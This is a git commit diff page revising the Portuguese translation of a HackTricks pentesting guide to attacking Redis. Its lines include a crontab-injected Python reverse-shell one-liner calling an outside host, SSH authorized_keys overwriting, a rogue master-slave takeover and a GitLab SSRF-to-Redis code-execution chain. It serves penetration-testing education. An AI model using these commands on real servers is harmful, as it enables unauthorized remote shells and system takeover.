mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
parent
3c0cfc900c
commit
6fab18039c
@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
De [documentação](https://redis.io/topics/introduction): Redis é um **armazenamento de estrutura de dados** em memória de código aberto (licença BSD), usado como um **banco de dados**, cache e corretor de mensagens.
|
||||
De [docs](https://redis.io/topics/introduction): Redis é um **armazenamento de estrutura de dados** em memória de código aberto (licença BSD), usado como um **banco de dados**, cache e corretor de mensagens.
|
||||
|
||||
Por padrão, o Redis usa um protocolo baseado em texto simples, mas você deve ter em mente que também pode implementar **ssl/tls**. Aprenda como [executar o Redis com ssl/tls aqui](https://fossies.org/linux/redis/TLS.md).
|
||||
|
||||
@ -26,7 +26,7 @@ msf> use auxiliary/scanner/redis/redis_server
|
||||
|
||||
Redis é um **protocolo baseado em texto**, você pode simplesmente **enviar o comando em um socket** e os valores retornados serão legíveis. Também lembre-se de que o Redis pode ser executado usando **ssl/tls** (mas isso é muito estranho).
|
||||
|
||||
Em uma instância regular do Redis, você pode simplesmente se conectar usando `nc` ou também pode usar `redis-cli`:
|
||||
Em uma instância regular do Redis, você pode se conectar usando `nc` ou também pode usar `redis-cli`:
|
||||
```bash
|
||||
nc -vn 10.10.10.10 6379
|
||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
@ -39,7 +39,7 @@ Neste último caso, isso significa que **você precisa de credenciais válidas**
|
||||
|
||||
### Autenticação do Redis
|
||||
|
||||
**Por padrão**, o Redis pode ser acessado **sem credenciais**. No entanto, ele pode ser **configurado** para suportar **apenas senha, ou nome de usuário + senha**.\
|
||||
**Por padrão**, o Redis pode ser acessado **sem credenciais**. No entanto, ele pode ser **configurado** para suportar **apenas senha ou nome de usuário + senha**.\
|
||||
É possível **definir uma senha** no arquivo _**redis.conf**_ com o parâmetro `requirepass` **ou temporariamente** até que o serviço reinicie conectando-se a ele e executando: `config set requirepass p@ss$12E45`.\
|
||||
Além disso, um **nome de usuário** pode ser configurado no parâmetro `masteruser` dentro do arquivo _**redis.conf**_.
|
||||
|
||||
@ -79,7 +79,7 @@ Encontre mais informações interessantes sobre mais comandos Redis aqui: [https
|
||||
|
||||
### **Dumping Database**
|
||||
|
||||
Dentro do Redis, os **bancos de dados são números começando de 0**. Você pode verificar se alguém está sendo usado na saída do comando `info` dentro do bloco "Keyspace":
|
||||
Dentro do Redis, **os bancos de dados são números começando de 0**. Você pode verificar se alguém está sendo usado na saída do comando `info` dentro do bloco "Keyspace":
|
||||
|
||||
.png>)
|
||||
|
||||
@ -182,6 +182,8 @@ OK
|
||||
|
||||
**Esta técnica é automatizada aqui:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
Além disso, usuários do sistema também podem ser descobertos verificando com `config set dir /home/USER`, e após a confirmação, um novo `authorized_keys` pode ser escrito em `/home/USER/.ssh/authorized_keys`. Use [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) para forçar isso com uma lista de palavras de nomes de usuários e sobrescrever `authorized_keys`.
|
||||
|
||||
### Crontab
|
||||
```
|
||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||
@ -217,7 +219,7 @@ Este método também pode ser usado para ganhar bitcoin :[yam](https://www.v2e
|
||||
|
||||
### Bypass do sandbox LUA
|
||||
|
||||
[**Aqui**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) você pode ver que o Redis usa o comando **EVAL** para executar **código Lua em sandbox**. No post vinculado, você pode ver **como abusar disso** usando a função **dofile**, mas [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) isso não é mais possível. De qualquer forma, se você puder **burlar o sandbox Lua**, poderá **executar comandos arbitrários** no sistema. Além disso, no mesmo post, você pode ver algumas **opções para causar DoS**.
|
||||
[**Aqui**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) você pode ver que o Redis usa o comando **EVAL** para executar **código Lua em sandbox**. No post vinculado, você pode ver **como abusar disso** usando a função **dofile**, mas [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) isso não é mais possível. De qualquer forma, se você conseguir **burlar o sandbox Lua**, poderá **executar comandos arbitrários** no sistema. Além disso, no mesmo post, você pode ver algumas **opções para causar DoS**.
|
||||
|
||||
Alguns **CVEs para escapar do LUA**:
|
||||
|
||||
@ -225,7 +227,7 @@ Alguns **CVEs para escapar do LUA**:
|
||||
|
||||
### Módulo Master-Slave
|
||||
|
||||
O redis master sincroniza automaticamente todas as operações com o redis slave, o que significa que podemos considerar a vulnerabilidade do redis como um redis slave, conectado ao redis master que controlamos, então podemos inserir o comando no nosso próprio redis.
|
||||
O redis master sincroniza automaticamente todas as operações para o redis slave, o que significa que podemos considerar a vulnerabilidade redis como um redis slave, conectado ao redis master que controlamos, então podemos inserir o comando no nosso próprio redis.
|
||||
```
|
||||
master redis : 10.85.0.51 (Hacker's Server)
|
||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||
@ -239,7 +241,7 @@ set mykey2 helloworld
|
||||
```
|
||||
## SSRF falando com Redis
|
||||
|
||||
Se você puder enviar uma solicitação **em texto claro** **para Redis**, você pode **se comunicar com ele**, pois o Redis lerá linha por linha a solicitação e apenas responderá com erros para as linhas que não entende:
|
||||
Se você puder enviar uma solicitação **em texto claro** **para o Redis**, você pode **se comunicar com ele**, pois o Redis lerá linha por linha a solicitação e apenas responderá com erros para as linhas que não entende:
|
||||
```
|
||||
-ERR wrong number of arguments for 'get' command
|
||||
-ERR unknown command 'Host:'
|
||||
@ -253,7 +255,7 @@ Portanto, se você encontrar uma **vulnerabilidade SSRF** em um site e puder **c
|
||||
|
||||
### Exemplo: Gitlab SSRF + CRLF para Shell
|
||||
|
||||
No **Gitlab11.4.7** foram descobertas uma vulnerabilidade **SSRF** e uma **CRLF**. A vulnerabilidade **SSRF** estava na **funcionalidade de importar projeto de URL** ao criar um novo projeto e permitia acessar IPs arbitrários na forma \[0:0:0:0:0:ffff:127.0.0.1] (isso acessará 127.0.0.1), e a vulnerabilidade **CRLF** foi explorada apenas **adicionando caracteres %0D%0A** à **URL**.
|
||||
No **Gitlab11.4.7** foi descoberta uma vulnerabilidade **SSRF** e uma **CRLF**. A vulnerabilidade **SSRF** estava na **funcionalidade de importar projeto de URL** ao criar um novo projeto e permitia acessar IPs arbitrários na forma \[0:0:0:0:0:ffff:127.0.0.1] (isso acessará 127.0.0.1), e a vulnerabilidade **CRLF** foi explorada apenas **adicionando caracteres %0D%0A** à **URL**.
|
||||
|
||||
Portanto, foi possível **abusar dessas vulnerabilidades para se comunicar com a instância do Redis** que **gerencia filas** do **gitlab** e abusar dessas filas para **obter execução de código**. O payload de abuso da fila do Redis é:
|
||||
```
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user